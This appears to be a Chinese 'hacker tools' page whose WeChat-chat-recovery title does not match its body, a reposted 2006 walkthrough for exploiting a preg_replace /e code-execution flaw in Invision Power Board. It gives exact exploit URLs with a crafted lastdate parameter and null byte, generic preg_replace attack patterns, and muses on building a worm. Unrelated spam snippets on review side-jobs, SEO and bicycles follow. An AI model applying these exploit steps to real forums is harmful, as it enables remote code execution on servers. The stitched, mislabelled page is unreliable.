微信聊天记录被清空了怎么查?一键查询微信聊天

访客4年前黑客工具1185

ipb search.php 漏洞分析及思考Author:SuperHei_[At]_ph4nt0m.orgBlog:http://superhei.blogbus.com/Team:http://www.ph4nt0m.orgData: 2006-04-27###############简单分析################该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php行1258-1262:if ( $this->ipsclass->input['lastdate'] ){$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );}}通过变量input['lastdate']注入/e, $this->output注入shellcode。###############利用 *** ################注册一个用户,发个贴 内容[shellcode]如下:[superheixxxxxxxeval(phpinf0()); //注意最后的;和//之间有一空格然后点“Search”--->Search by Keywords:superheixxxxxxxeval [记得选择Show results as posts ]可以得到searchidhttp://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&result_type=posts&highlite=superheixxxxxxxeval然后在后面加一个&lastdate=z|eval.*?%20//)%23e%00 也就是[/e]提交就ok了:http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&result_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00###############分析讨论################1. 简单分析:该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php行1258-1262:if ( $this->ipsclass->input['lastdate'] ){$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );}}通过变量input['lastdate']注入/e, $this->output注入shellcode。这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交的,其实不然,注意上面preg_replace里的第2个参数:\\1 selected='selected' 里面的\\1 为之一参数里正则表达试匹配后的值。归根结底我们提交的shellcode还是在第2个参数执行了。2. 注意最后的;和//之间有一空格这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+//3.preg_replace存在null截断漏洞????我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型:<?$a=$_GET[a];echo preg_replace("#(value=[\"']z|eval.*?//)#e{$a}[\"'])#i ","\\1 ","heigegegxxxxxxxeval(phpinfo());//");?>我们直接提交http://127.0.0.1/test2.php?a=2出现错误:Warning: Unknown modifier '2' in d:\easyphp\www\test2.php on line 3提交http://127.0.0.1/test2.php?a=%002 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。4."lastdate=z|eval.*?%20//)%23e%00"的构造主要是在this->output里以eval和%20//为标志取\\1 为执行的php代码。5.worm的利用?还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多......###############总结模型################1.直接在preg_replace第2个变量执行的模式:<?echo preg_replace("/test/e",$h,"jutst test");?>提交http://127.0.0.1/test/11/preg.php?h=phpinfo()实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞2.通过\\1[或者\\n]提取第3个变量里的php代码并执行的模式:<?echo preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $h);?>提交:http://127.0.0.1/test/11/preg.php?h=[php]phpinfo()[/php]参考:r57的exp:http://www.milw0rm.com/exploits/1720更多资料:http://www.google.com

相关文章

淘宝好评兼职有哪些,正规靠谱网站平台推荐!

淘宝好评兼职有哪些,正规靠谱网站平台推荐!

随着生活的开支逐渐增大,一个月下来辛辛苦苦赚来的工资勉强支撑生活。而部分勤奋的人则会选择在业余时间做一些简单的兼职来增加自己的收入,但是太过简单的兼职因为没有技术含量往往是没有钱赚的。所以在这里我就给...

黑客在哪里找呢-棋牌游戏黑客是什么意思(我的世界安全黑客是什么意思)

黑客在哪里找呢-棋牌游戏黑客是什么意思(我的世界安全黑客是什么意思)

黑客在哪里找呢相关问题 黑客游戏真实的什么什么相关问题 gta5黑客怎么增加到3分钟 黑客技术网站大全(免费黑客技术网站)...

6种百度SEO快速排名优化的引流方法 学seo必备

6种百度SEO快速排名优化的引流方法 学seo必备

那么对于百度霸屏,百度SEO排名最好做的几种平台是哪些呢? 这个问题困扰了很多行业新人,太多的人想要把自己的产品推到百度首页 众所周知,百度搜索进来的流量是很精准的,这对于做互联网运营的朋友都清楚...

诗人杜甫简介

詩人杜甫簡介讀書啊,我信赖但有朗朗書聲出破廬,遲早有一日有萬鯉躍龍門之奇象。   杜甫身世於京兆杜氏,一個北方的大士族。關於詩人杜甫,大傢瞭解嗎?   生平   幼年優遊   杜甫因...

黑客跟极客区别(黑极客科技有限公司)

黑客跟极客区别(黑极客科技有限公司)

本文目录一览: 1、极客与黑客的区别 2、黑客 骇客 极客 都有什么区别 麻烦大家解释下,,有了解的麻烦下。。 3、红客、骇客、黑客的区别? 4、黑客、红客、白客、骇客、极客是什么意思,怎...

喜德盛黑客680价位(喜德盛黑客800图片)

喜德盛黑客680价位(喜德盛黑客800图片)

美利达雄狮610和喜德盛黑客380哪个好? 1、两个品牌的中低端车都不错。从高端车来看,美利达则比喜德盛更为出色。两个品牌对比:产品实力方面:喜德盛是目前国内主要自行车生产基地之碳纤维自行车制造商,自...